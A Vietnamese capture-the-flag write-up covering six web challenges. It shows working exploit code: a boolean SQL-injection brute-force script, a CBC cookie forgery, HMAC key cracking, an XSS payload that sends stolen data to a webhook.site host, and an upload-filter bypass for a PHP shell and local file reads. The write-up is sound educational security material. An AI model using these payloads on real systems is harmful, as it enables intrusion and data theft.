![image](https://hackmd.io/_uploads/S187lx4xA.png) Ở giải lần này thì team mình đã **clear** được web challenges :> ![image](https://hackmd.io/_uploads/HysoXy4eC.png) # 1. Forgotten Password ![image](https://hackmd.io/_uploads/B1tog5be0.png) Chall cho ta trang web như sau: ![image](https://hackmd.io/_uploads/BJR0fJExR.png) Như phần mô tả của challenge thì ta đã biết được rằng email của admin là `b8500763@gmail.com`, dựa vào tiêu đề và chức năng `Forgot password?` của trang web thì ta đoán là đây chính là nơi mà chúng ta cần khai thác. Oke bây giờ cùng xem thử source code có gì: Flag sẽ chứa trong email recover password ![image](https://hackmd.io/_uploads/S1l-rkEgR.png) Đoạn code chủ yếu ta cần quan tâm trong đống code lằn ngoằng kia ![image](https://hackmd.io/_uploads/BkhqByEg0.png) - `params[:email]` ở đây có thể là POST hay GET tùy ý - include? là một phương thức của String (chuỗi ký tự) trong Ruby. Nó kiểm tra xem chuỗi đó có chứa một chuỗi con (substring) nào đó hay không. Nếu có, nó trả về true, ngược lại trả về false. Đây là method recovery_email ![image](https://hackmd.io/_uploads/rk-QhJ4gC.png) Điều đặc biệt là ta có thể phân tách các địa chỉ email bằng dấu chấm phẩy (;) và dấu phẩy (,) trong Ruby on Rails. Khi bạn truyền một chuỗi chứa các địa chỉ email cách nhau bởi dấu chấm phẩy hoặc dấu phẩy vào tham số `to` của phương thức `mail`, Rails sẽ tự động tách chuỗi thành một mảng sử dụng dấu chấm phẩy hoặc dấu phẩy làm phân cách. Ví dụ: ```ruby class RecoveryMailer < ApplicationMailer def recovery_email(email) mail(to: email, subject: 'Flag').deliver_now end end ``` Bạn có thể gọi method `recovery_email` như sau: ```ruby RecoveryMailer.recovery_email('email1@example.com; email2@example.com').deliver_now ``` Hoặc: ```ruby emails = 'email1@example.com, email2@example.com, email3@example.com' RecoveryMailer.recovery_email(emails).deliver_now ``` Cả hai cách trên đều sẽ gửi một email duy nhất đến tất cả các địa chỉ email được phân tách bởi dấu chấm phẩy hoặc dấu phẩy Điều này hoạt động vì Rails sử dụng một regex (biểu thức chính quy) để tách chuỗi thành mảng dựa trên các ký tự phân cách phổ biến như dấu phẩy, dấu chấm phẩy,... Oke từ những kiến thức trên thì ta chỉ việc nhập thêm email của mình vào ngay sau email của admin bằng dấu phẩy hoặc chấm phẩy là xong ![image](https://hackmd.io/_uploads/HyHo6kNe0.png) ![image](https://hackmd.io/_uploads/SJ5lAJNgC.png) **Kết quả** ![image](https://hackmd.io/_uploads/rkmy1xNgC.png) ![image](https://hackmd.io/_uploads/HJrH01NeA.png) `Flag: gigem{sptfy.com/Qhnv}` # 2. Cereal ![image](https://hackmd.io/_uploads/rkx9eyVx0.png) Chall cho ta trang web như sau: ![image](https://hackmd.io/_uploads/r1HSGN4xC.png) Đăng nhập tài khoản được cung cấp ta được như sau ![image](https://hackmd.io/_uploads/rki3z44g0.png) Giờ thì cùng xem source xử lí như thế nào ![image](https://hackmd.io/_uploads/B1TGQVNe0.png) Đầu tiên thì unserialize cookies sau đó dùng những thông tin sau khi deser để hiển thị ra thông tin qua html Cookies được tạo ra như sau: ![image](https://hackmd.io/_uploads/rkIcQVEgA.png) Tới đây thì ta đã biết nó bị lỗi php deserialize ở class User() rồi Class User() có magic method `__wakeup()` : sẽ được gọi tự động khi thực hiện quá trình deserialize ![image](https://hackmd.io/_uploads/rySJrVVxC.png) Cái chúng ta có thể tận dụng là 2 method được gọi trong `__wakeup()` là `validate()` và `refresh()` Giờ thì cùng xem cái nào có thể tận dụng được ```php public function refresh() { // Database connection $conn = new PDO('sqlite:../important.db'); $conn->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION); $query = "select username, email, favorite_cereal, creation_date from users where `id` = '" . $this->id . "' AND `username` = '" . $this->username . "'"; $stmt = $conn->prepare($query); $stmt->execute(); $row = $stmt->fetch(); $this->profile = $row; } ``` ```php public function validate() { // Database connection $conn = new PDO('sqlite:../important.db'); $conn->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION); $query = "select * from users where `username` = :username"; $stmt = $conn->prepare($query); $stmt->bindParam(':username', $this->username); $stmt->execute(); $row = $stmt->fetch(); if (md5($row['password']) !== $this->password) { header('Location: logout.php'); exit; } } ``` Sau khi xem qua ta có thể dễ dàng phát hiện được refresh() đang bị dính lỗi SQLi ![image](https://hackmd.io/_uploads/ryZyLVEgC.png) Ta có thể tận dụng thằng id để inject payload, oke trước tiên thì cứ bắt cookies lại xem như nào đã ![image](https://hackmd.io/_uploads/S1O2INEgC.png) Thì tài khoản guest đang có id bằng 1, bây giờ mình thử dò xem username của admin là gì bằng cách thử giá trị id lần lượt, sau khi thử nghiệm thì phát hiện được admin có id = 0 ![image](https://hackmd.io/_uploads/B1U5wNNeR.png) ![image](https://hackmd.io/_uploads/rJY3wV4g0.png) Vậy là ta đã biết được username của admin rồi, giờ thì brutefore password bằng SQLi boolean thôi Giờ chỉ cần viết script tự động gen payload rồi inject là được Script như sau : ```python import requests, urllib3, os, sys, string urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) proxies = {'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'} def gen_payload(payload): code_gen = r''' <?php class User { public $username = 'guest'; public $id ; protected $password = '5f4dcc3b5aa765d61d8327deb882cf99'; protected $profile; } $cookie = new User(); $cookie->id = "%s"; $payload = base64_encode(serialize($cookie)); $file_path = 'payload.txt'; $file_handle = fopen($file_path, 'w+'); fwrite($file_handle, $payload); fclose($file_handle); ?> ''' % (payload) with open("chain.php", 'w') as file: file.write(code_gen) os.system("php chain.php") def exploit(url, alphabet): session = requests.Session() password = "" for i in range(1, 100): for j in alphabet: payload = "1' and substr((select password from users where username = 'admin'),%s,1)='%s'-- -"%(i,j) gen_payload(payload) with open("payload.txt", "r") as file: auth = file.read() cookies = {'auth': auth} r = session.get(url, cookies=cookies, verify=False) if "guest" in r.text: password += j sys.stdout.write(password) sys.stdout.flush() break else: sys.stdout.write(password + j) sys.stdout.flush() if len(password) < i: print('\r' + "Password admin: " + password) break if __name__ == "__main__": url = "https://cereal.tamuctf.com/profile.php" alphabet = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_-!@#$%^&*(){}' exploit(url, alphabet) ``` Ở đây script của mình sẽ gen payload vào file payload.txt sau đó đọc file payload.txt để lấy payload inject thôi. Kết quả : ![image](https://hackmd.io/_uploads/B1PTOENe0.png) **Bonus:** Sau khi kết thúc giải và xem writeup thì mình còn biết được có một cách giải khác hay hơn nữa bằng `EXCEPT` trong SQL là: Phép toán `EXCEPT` sẽ trả về tất cả các bản ghi từ bảng đầu tiên (SELECT thứ nhất) mà không có trong bảng thứ hai (SELECT thứ hai). Điều này tương đương với việc lấy phần khác biệt (difference) giữa hai tập hợp. Ví dụ: Giả sử bạn có hai bảng `table1` và `table2`, và bạn muốn lấy tất cả các bản ghi từ `table1` mà không có trong `table2`, bạn có thể sử dụng câu lệnh SQL ```sql SELECT column1, column2, ... FROM table1 EXCEPT SELECT column1, column2, ... FROM table2; ``` Lưu ý rằng mỗi SELECT phải trả về cùng số lượng cột và các cột phải có cùng kiểu dữ liệu, vì phép toán `EXCEPT` sẽ so sánh các bản ghi giữa hai tập hợp theo từng cột. Nếu table1 và table2 có cùng cấu trúc và chứa cùng các bản ghi, thì kết quả của phép toán EXCEPT sẽ là một tập hợp rỗng, và không có bản ghi nào được trả về. Từ đây ta có thể lợi dụng EXCEPT để cho câu Select đầu tiên trả về rỗng sau đó lại dùng Union để in ra password của admin Payload : ```0' except select username,email,favorite_cereal,creation_date from users where `id` = '0' union select username,email,password,creation_date from users where `id`='0'-- -``` ![image](https://hackmd.io/_uploads/SkkJCV4x0.png) Kết quả: ![image](https://hackmd.io/_uploads/SJT1CENlA.png) `Flag: gigem{c3r3aL_t0o_sWe3t_t0d2y}` # 3. Flipped ![image](https://hackmd.io/_uploads/SJm3gyNlA.png) Đây là một bài crypto trá hình ![image](https://hackmd.io/_uploads/SJ-dXPNx0.png) <details> <summary>source.py</summary> ```python from os import environ from hashlib import md5 from Crypto.Cipher import AES from Crypto.Random import get_random_bytes from Crypto.Util.Padding import pad, unpad from flask import Flask, request, make_response, Response from base64 import b64encode, b64decode import sys import json FLAG = environ['FLAG'] PORT = int(environ['PORT']) default_session = '{"admin": 0, "username": "guest"}' key = get_random_bytes(AES.block_size) app = Flask(__name__) def encrypt(session): iv = get_random_bytes(AES.block_size) cipher = AES.new(key, AES.MODE_CBC, iv) return b64encode(iv + cipher.encrypt(pad(session.encode('utf-8'), AES.block_size))) def decrypt(session): raw = b64decode(session) cipher = AES.new(key, AES.MODE_CBC, raw[:AES.block_size]) try: return unpad(cipher.decrypt(raw[AES.block_size:]), AES.block_size).decode() except Exception: return None @app.route('/') def index(): session = request.cookies.get('session') if session == None: res = Response(open(__file__).read(), mimetype='text/plain') res.set_cookie('session', encrypt(default_session).decode()) return res elif (plain_session := decrypt(session)) == default_session: return Response(open(__file__).read(), mimetype='text/plain') else: if plain_session != None: try: if json.loads(plain_session)['admin'] == True: return FLAG else: return 'You are not an administrator' except Exception: return 'You are not an administrator' else: return 'You are not an administrator' if __name__ == '__main__': app.run('0.0.0.0', PORT) ``` </details> Như phần Bài này có cơ chế như sau: https://crypto.stackexchange.com/questions/66085/bit-flipping-attack-on-cbc-mode ![image](https://hackmd.io/_uploads/B1Qk8DEl0.png) Script solve như sau : ```python import base64 from pwn import xor session="vA+Y+xRQqbj+onFDa5uIR0Qb8zx1zPs+5Db7uAzTX1Xp4Pby/GMwEZB2U7ozysdSyixXpIa0rYxqRa24BeFUGA==" ciphertext = base64.b64decode(session)[16:] iv = base64.b64decode(session)[:16] session_default = b'''{"admin": 0, "us''' new_iv = xor(xor(iv, session_default), b'{"admin": 1, "us') payload = base64.b64encode(new_iv+ciphertext) print(payload) ``` `Flag: gigem{verify_your_cookies}` # 4. Cracked ![image](https://hackmd.io/_uploads/H1F6e1NeC.png) Tiếp tục là một bài crypto trá hình nữa ![image](https://hackmd.io/_uploads/HJe4NPNgC.png) <details> <summary>source.py</summary> ```python from os import environ from hashlib import sha1 from flask import Flask, request, make_response, Response from base64 import b64encode, b64decode import hmac import json KEY = environ['KEY'] FLAG = environ['FLAG'] PORT = int(environ['PORT']) default_session = '{"admin": 0, "username": "guest"}' app = Flask(__name__) def sign(m): return b64encode(hmac.new(KEY.encode(), m.encode(), sha1).digest()).decode() def verify(m, s): return hmac.compare_digest(b64decode(sign(m)), b64decode(s)) @app.route('/') def index(): session = request.cookies.get('session') sig = request.cookies.get('sig') if session == None or sig == None: res = Response(open(__file__).read(), mimetype='text/plain') res.set_cookie('session', b64encode(default_session.encode()).decode()) res.set_cookie('sig', sign(default_session)) return res elif (plain_session := b64decode(session).decode()) == default_session: return Response(open(__file__).read(), mimetype='text/plain') else: if plain_session != None and verify(plain_session, sig) == True: try: if json.loads(plain_session)['admin'] == True: return FLAG else: return 'You are not an administrator' except Exception: return 'You are not an administrator' else: return 'You are not an administrator' if __name__ == '__main__': app.run('0.0.0.0', PORT) ``` </details> Mình tìm được bài viết này: https://security.stackexchange.com/questions/150388/recover-key-in-hmac-sha256-message-authentication Dựa theo bài viết trên thì các bước solve như sau : Bước 1: brute-force key Link file rockyou.txt : https://github.com/josuamarcelc/common-password-list/tree/main/rockyou.txt ```python import hmac import base64 from hashlib import sha1 session=base64.b64decode("eyJhZG1pbiI6IDAsICJ1c2VybmFtZSI6ICJndWVzdCJ9") sig=base64.b64decode("vu/agvntRZDqOOnFpGFjl+GfnHQ=").hex() keys = open('rockyou_2.txt').read().split() # Specifiy the path to the dictionary file def mykey(): for i in keys: digest=hmac.new(i.encode(), session, sha1) digest.hexdigest() if digest.hexdigest()==sig: print ('password:', i) break mykey() ``` Tìm được key là: `6lmao9` Bước 2: gen_new_data ```python from hashlib import sha1 from base64 import b64encode, b64decode import hmac default_session = '{"admin": 1, "username": "guest"}' KEY = "6lmao9" def sign(m): return b64encode(hmac.new(KEY.encode(), m.encode(), sha1).digest()).decode() payload = b64encode(default_session.encode()) sig = sign(default_session) print(payload) print(sig) ``` `Flag: gigem{maybe_pick_a_better_password_next_time}` # 5. Imposter ![image](https://hackmd.io/_uploads/S1ck-1EgA.png) Challenge cho ta trang web như sau: ![image](https://hackmd.io/_uploads/rkeukrEeC.png) Đầu tiên thì ta cứ đăng kí tài khoản rồi test chức năng của nó ![image](https://hackmd.io/_uploads/r1V6ZBVgC.png) Vì bài này không cho source code, nên thử view source code trên trình duyệt xem thử <details> <summary>view-source</summary> ```html <!DOCTYPE html> <html> <head> <!--Title courtesy of c0br4_--> <title>Discorb</title> <script src="https://code.jquery.com/jquery-3.4.1.slim.min.js"></script> <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.3/dist/js/bootstrap.bundle.min.js"></script> <script src="https://cdn.socket.io/4.7.5/socket.io.min.js"></script> <script src="https://cdnjs.cloudflare.com/ajax/libs/moment.js/2.30.1/moment.min.js"></script> <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap-icons@1.11.1/font/bootstrap-icons.css"> <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.3/dist/css/bootstrap.min.css"> <script> function save_chat(user) { messages = document.getElementById('chat').innerHTML; localStorage.setItem(user, messages); } function load_chat(user) { messages = localStorage.getItem(user); document.getElementById('chat').innerHTML = messages; } function set_active_dm(dom, e) { e.preventDefault(); prev = document.getElementById('active-dm'); if(prev != dom) { dom.id = prev.id; prev.id = ''; dom.classList.add('active'); prev.classList.remove('active'); dom.children[0].children[0].style.opacity=0; save_chat(prev.name); load_chat(dom.name); } } function parse_user(user) { user = user.split('#'); if(user.length == 2 && user[1].length == 4 && /^\d+$/.test(user[1])) return true; return false; } function new_dm() { modal_box = document.getElementById('new-dm-box'); user = modal_box.value modal_box.value = ''; if(user != '' && parse_user(user)) { dms = localStorage.getItem('dms'); names = [] if(dms != null) { names = JSON.parse(dms); } if(!names.includes(user)) { names.push(user); localStorage.setItem('dms', JSON.stringify(names)); dm_list = document.getElementById('user-list'); dm_list.innerHTML = `<li class="nav-item"><a href="" name="${user}" class="nav-link text-white" onclick="set_active_dm(this, event)"><svg class="bi bi-circle-fill" width="16" height="16"><circle cx="8" cy="8" r="8" fill="white" opacity="0"/></svg> ${user}</a></li>` + dm_list.innerHTML set_active_dm(user); } } } var socket; function scrollToBottom() { chat = document.getElementById('chat'); chat.scrollTop = chat.scrollHeight; } $(document).ready(function(){ load_chat('admin#0000'); scrollToBottom(); dms = localStorage.getItem('dms'); if(dms != null) { for(const user of JSON.parse(dms)) { dm_list = document.getElementById('user-list'); dm_list.innerHTML = `<li class="nav-item"><a href="" name="${user}" class="nav-link text-white" onclick="set_active_dm(this, event)"><svg class="bi bi-circle-fill" width="16" height="16"><circle cx="8" cy="8" r="8" fill="white" opacity="0"/></svg> ${user}</a></li>` + dm_list.innerHTML } } socket = io(); socket.on('connect', function(){ socket.emit('join'); }); socket.on('message', function(data) { chat = document.getElementById('chat'); active = document.getElementById('active-dm'); if(active.textContent.trim() != data.from && data.to != data.from) { from = document.getElementsByName(data.from)[0]; if(from != undefined) { from.children[0].children[0].style.opacity=1; } else { dms = localStorage.getItem('dms'); names = [] if(dms != null) { names = JSON.parse(dms); } if(!names.includes(data.from)) { names.push(data.from); localStorage.setItem('dms', JSON.stringify(names)); dm_list = document.getElementById('user-list'); dm_list.innerHTML = `<li class="nav-item"><a href="" name="${data.from}" class="nav-link text-white" onclick="set_active_dm(this, event)"><svg class="bi bi-circle-fill" width="16" height="16"><circle cx="8" cy="8" r="8" fill="white" opacity="1"/></svg> ${data.from}</a></li>` + dm_list.innerHTML } } messages = localStorage.getItem(data.from); if(messages != null) { localStorage.setItem(data.from, messages + data.content); } else { localStorage.setItem(data.from, data.content); } } else { let scrolling = chat.scrollTop + chat.clientHeight < chat.scrollHeight; chat.insertAdjacentHTML('beforeend', data.content); if (!scrolling) scrollToBottom(); save_chat(active.name); } }); $('#message-box').keypress(function(e) { var code = e.keyCode || e.which; if(code == 13) { message = $('#message-box').val(); if(message != '') { dst = document.getElementById('active-dm').name; $('#message-box').val(''); if(message != '/flag') { socket.emit('json', {'to': dst, 'message': message, 'time': moment().format('h:mm:ss A')}); } else { socket.emit('flag'); } } } }); $('#logout-button').click(function(event) { event.preventDefault(); localStorage.clear(); window.location = this.href; }); }); window.onload = scrollToBottom() </script> <style> body { display: flex; height: 100vh; width: 100vw; margin: 0; padding: 0; font-family: Arial, sans-serif; background-color: #36393e; } .container { display: grid; grid-template-rows: 92.5% 7.5%; height: 100vh; padding-left: 2.5vw; } .chat { width: 100%; height: 100%; overflow-y: auto; scrollbar-width: none; } .chat::-webkit-scrollbar { display: none; } .message { padding: 10px; padding-bottom: 0; } .message .sender { color: white; font-weight: bold; } .message .timestamp { font-size: 0.8em; color: #949BA4; } .message p { margin-top: 0.5em; color: #D6D6DC; } .message-box { background-color: #383A40; color: white; border-radius: 8px; width: 95%; height: 45px; padding-left: 15px; font-size: 16px; border: none; box-shadow: none; outline: none; } .message-box::placeholder { color: #848690; } .sidebar { background-color: #282b30; } .sidebar button { min-width: 100%; text-align: left; } .sidebar a:hover, .sidebar button:hover{ background-color: #36393d; } </style> </head> <body> <div class="sidebar d-flex flex-column flex-shrink-0 p-3 text-white" style="width: 15vw;"> <a href="/" class="d-flex align-items-center mb-3 mb-md-0 me-md-auto text-white text-decoration-none"> <svg class="bi me-2" width="40" height="32"><use xlink:href="#bootstrap"></use></svg> <span class="fs-4">Discorb</span> </a> <hr> <ul id="user-list" class="nav nav-pills flex-column mb-auto"> <li class="nav-item"> <a id="active-dm" href="" name="admin#0000" class="nav-link active text-white" onclick="set_active_dm(this, event)"> <svg class="bi bi-circle-fill" width="16" height="16"><circle cx="8" cy="8" r="8" fill="white" opacity="0"/></svg> admin#0000 </a> </li> <li class="nav-item"> <button class="nav-link text-white" data-bs-toggle="modal" data-bs-target="#new-dm"> <svg xmlns="http://www.w3.org/2000/svg" width="16" height="16" fill="currentColor" class="bi bi-plus-circle" viewBox="0 0 16 16"> <path d="M8 15A7 7 0 1 1 8 1a7 7 0 0 1 0 14m0 1A8 8 0 1 0 8 0a8 8 0 0 0 0 16"/> <path d="M8 4a.5.5 0 0 1 .5.5v3h3a.5.5 0 0 1 0 1h-3v3a.5.5 0 0 1-1 0v-3h-3a.5.5 0 0 1 0-1h3v-3A.5.5 0 0 1 8 4"/> </svg> Start new DM </button> </li> </ul> <hr> <div class="dropdown"> <a href="#" class="d-flex align-items-center text-white text-decoration-none dropdown-toggle" id="dropdownUser1" data-bs-toggle="dropdown"> <strong>nightcore#6440</strong> </a> <ul class="dropdown-menu dropdown-menu-dark text-small shadow" aria-labelledby="dropdownUser1"> <li><a id="logout-button" class="dropdown-item" href="/api/auth/logout">Sign out</a></li> </ul> </div> </div> <div class="container"> <div id="chat" class="chat"> </div> <input id="message-box" type="text" class="message-box" placeholder="Message" /> </div> <div class="modal fade" id="new-dm" tabindex="-1"> <div class="modal-dialog modal-dialog-centered"> <div class="modal-content" style="background: #1e2124 !important;"> <div class="modal-header" style="border: none"> <h1 class="modal-title fs-5 text-white">Start DM</h1> <button type="button" class="btn-close btn-close-white" data-bs-dismiss="modal"></button> </div> <div class="modal-body"> <input id="new-dm-box" type="text" class="message-box" placeholder="example#1234"> </div> <div class="modal-body"> <button type="button" class="btn btn-primary" data-bs-dismiss="modal" onclick="new_dm()">Add</button> </div> </div> </div> </div> </body> </html> ``` </details> Để ý trong source nếu ta nhập `/flag` thì sẽ thực hiện gửi một websocket để lấy flag, nhưng đời không như là mơ nó chỉ khả thi chúng ta là admin#0000 ![image](https://hackmd.io/_uploads/SJfpk8EgA.png) **Vậy ý tưởng duy nhất của chúng ta là phải mạo danh được thằng admin để gửi `socket.emit('flag')` lên** Bây giờ hãy cùng phân tích luồng hoạt động của ứng dụng web này ```javascript $('#message-box').keypress(function(e) { var code = e.keyCode || e.which; if(code == 13) { message = $('#message-box').val(); if(message != '') { dst = document.getElementById('active-dm').name; $('#message-box').val(''); if(message != '/flag') { socket.emit('json', {'to': dst, 'message': message, 'time': moment().format('h:mm:ss A')}); } else { socket.emit('flag'); } } } }); ``` Đoạn mã JavaScript này xử lý sự kiện `keypress` trên phần tử có ID `message-box`, có chức năng gửi tin nhắn đến người khác trong ứng dụng chat. Cụ thể, đoạn code thực hiện các việc sau: Kiểm tra nếu mã phím là 13 (tương ứng với phím Enter): - Lấy nội dung trong phần tử `message-box` và gán cho biến `message`. - Nếu `message` không rỗng: - Lấy tên người nhận tin nhắn từ phần tử có ID `active-dm` và gán cho biến `dst`. - Xóa nội dung trong phần tử `message-box`. - Kiểm tra nếu `message` không phải là `/flag`: - Gửi một sự kiện `json` đến máy chủ qua `socket.emit`, bao gồm thông tin người nhận `dst`, nội dung tin nhắn `message` và thời gian hiện tại được định dạng bởi `moment().format('h:mm:ss A')`. - Nếu `message` là `/flag`: - Gửi một sự kiện `flag` đến máy chủ qua `socket.emit`. Giả sử nội dung mình nhập vào box là ```javascript <img src=x onerror=eval(atob('YWxlcnQoIkhlbGxvISBJIGFtIGFuIGFsZXJ0IGJveCEhIik7'))> //alert("Hello! I am an alert box!!"); ``` To server sẽ có dạng như sau (dùng burp suit để xem request) : ![image](https://hackmd.io/_uploads/Hk8gTBNlR.png) Tiếp tục xét đoạn code nhận phản hồi từ server (To client) ```javascript= socket.on('message', function(data) { chat = document.getElementById('chat'); active = document.getElementById('active-dm'); if(active.textContent.trim() != data.from && data.to != data.from) { from = document.getElementsByName(data.from)[0]; if(from != undefined) { from.children[0].children[0].style.opacity=1; } else { dms = localStorage.getItem('dms'); names = [] if(dms != null) { names = JSON.parse(dms); } if(!names.includes(data.from)) { names.push(data.from); localStorage.setItem('dms', JSON.stringify(names)); dm_list = document.getElementById('user-list'); dm_list.innerHTML = `<li class="nav-item"><a href="" name="${data.from}" class="nav-link text-white" onclick="set_active_dm(this, event)"><svg class="bi bi-circle-fill" width="16" height="16"><circle cx="8" cy="8" r="8" fill="white" opacity="1"/></svg> ${data.from}</a></li>` + dm_list.innerHTML } } messages = localStorage.getItem(data.from); if(messages != null) { localStorage.setItem(data.from, messages + data.content); } else { localStorage.setItem(data.from, data.content); } } else { let scrolling = chat.scrollTop + chat.clientHeight < chat.scrollHeight; chat.insertAdjacentHTML('beforeend', data.content); if (!scrolling) scrollToBottom(); save_chat(active.name); } }); ``` (To client) data sẽ có dạng như sau: ![image](https://hackmd.io/_uploads/Sk420rNxA.png) Để ý dòng 30 khi chèn nội dung của `data.content` vào DOM: ```javascript chat.insertAdjacentHTML('beforeend', data.content); ``` Đoạn mã này chèn giá trị của `data.content` trực tiếp vào DOM mà không có bất kỳ xử lý an toàn nào, cho phép kẻ tấn công chèn mã JavaScript độc hại vào `data.content` và thực thi nó trên trình duyệt của người dùng khác. Vậy ta đã thực hiện XSS thành công ![image](https://hackmd.io/_uploads/Sk6zJLNeR.png) ![image](https://hackmd.io/_uploads/rJXfyUEeA.png) Đoạn mã độc sẽ được thực thi ở 2 phía luôn, oke từ ý tưởng trên thì ta chỉ cần sửa lại đoạn code js như sau : ```javascript var s = io(); s.on('connect', function() {s.emit('join')}); s.emit('flag'); s.on('message', function(data) { var x = 'https://webhook.site/c4e92f31-3521-43e1-8427-adc118841dfc/?c='+btoa(JSON.stringify(data)); document.location=x; }); ``` Encode base64 đoạn code trên và cho vào thẻ `<img>` Payload cuối cùng sẽ như sau: ``` <img src=x onerror=eval(atob('dmFyIHMgPSBpbygpOw0Kcy5vbignY29ubmVjdCcsIGZ1bmN0aW9uKCkge3MuZW1pdCgnam9pbicpfSk7DQpzLmVtaXQoJ2ZsYWcnKTsNCnMub24oJ21lc3NhZ2UnLCBmdW5jdGlvbihkYXRhKSB7DQogICAgdmFyIHggPSAnaHR0cHM6Ly93ZWJob29rLnNpdGUvYzRlOTJmMzEtMzUyMS00M2UxLTg0MjctYWRjMTE4ODQxZGZjLz9jPScrYnRvYShKU09OLnN0cmluZ2lmeShkYXRhKSk7DQogICAgZG9jdW1lbnQubG9jYXRpb249eDsNCn0pOw=='))> ``` Bây giờ chỉ cần gửi cái này cho `admin#0000` sau đó qua webhook lụm flag thoii ![image](https://hackmd.io/_uploads/Hk9a78EeA.png) ![image](https://hackmd.io/_uploads/S1R0XIExC.png) `Flag: {its_like_xss_but_with_extra_steps}` # 6. Remote ![image](https://hackmd.io/_uploads/HJKWZkVeR.png) Đây là một challenge upload file ![image](https://hackmd.io/_uploads/BJ7nwI4eR.png) Chú ý ở phần mô tả của challenge bảo là có chức năng upload thông qua url, đoán rằng đây chính là chức năng chúng ta cần khai thác ở challenge này rồi ![image](https://hackmd.io/_uploads/rk7zYLVl0.png) Công nhận filter gắt thật, nhưng cùng đi phân tích xem nó có lổ hổng gì không, xét dòng code sau : ```php filter_var($_REQUEST['url'], FILTER_SANITIZE_URL); ``` ![image](https://hackmd.io/_uploads/HkW_sIVl0.png) Có nghĩa là `phăp` nếu thông qua hàm trên sẽ trở thành `php` Vậy là bypass thành công, `phăp` sẽ không bị filter bởi hàm `preg_match()`, mà sau khi qua hàm filter_var() nó sẽ lại trở thành `php` Oke bây giờ mình sẽ host một file shell.php thông qua gist ![image](https://hackmd.io/_uploads/SJM23L4xA.png) Sau khi qua các lớp filter nó sẽ trở thành `php` bình thường Upload thành công ![image](https://hackmd.io/_uploads/rJVj6L4lR.png) Đường dẫn sau khi upload sẽ là /tmp/uploads/<PHPSESSID>/<filename>.php Giờ ta chỉ cần truy cập shell để lụm flag thôi ![image](https://hackmd.io/_uploads/rka_RLEx0.png) Đời không như là mơ nó bị lỗi 404, nhưng rõ là nó upload lên rồi mà??? Sau một hồi stuck lây hoay thì mình đã thử xóa chữ `tmp` đi và cái kết lại được ![image](https://hackmd.io/_uploads/BJZx1vVgA.png) ![image](https://hackmd.io/_uploads/Bk2bJvElR.png) Nói chung ở chỗ này mình không hiểu, chắc server config gì đó rồi, sử dụng Alias chẳng hạn Đặt ra giả thuyết rằng chúng ta có thể lợi dụng chức năng upload qua url này để đọc file hệ thống không. Câu trả lời là có? Chính là thông qua giao thức`file://` `file://` là một giao thức URI (Uniform Resource Identifier) được sử dụng để truy cập các tệp tin hoặc thư mục trên hệ thống tệp cục bộ. Do đang băn khoăn không hiểu cách hoạt động của đường dẫn trên nên mình sẽ thử đọc file cấu hình Sử dụng trang này thì mình tìm được một số đường dẫn mặc định chứa file cấu hình: https://exampleconfig.com/search/?q=%2Fetc%2Fapache2 ![image](https://hackmd.io/_uploads/rJh4xwNe0.png) Thử lần lượt thì được file sau ![image](https://hackmd.io/_uploads/S17FlPNxA.png) Đúng thật là server đã cấu hình Alias ![image](https://hackmd.io/_uploads/rybe-vExA.png) Ngoài ra nếu ta đọc file `/var/log/apache2/access.log` thì ta có thể thấy được đường dẫn file shell.php của các người chơi khác hoặc là cả tên file flag luôn Đây chắc có thể là ngoài ý muốn :> ![image](https://hackmd.io/_uploads/ry2FZvExC.png) ![image](https://hackmd.io/_uploads/SkIT-DVlC.png) `Flag: gigem{new_features_means_new_opportunities}`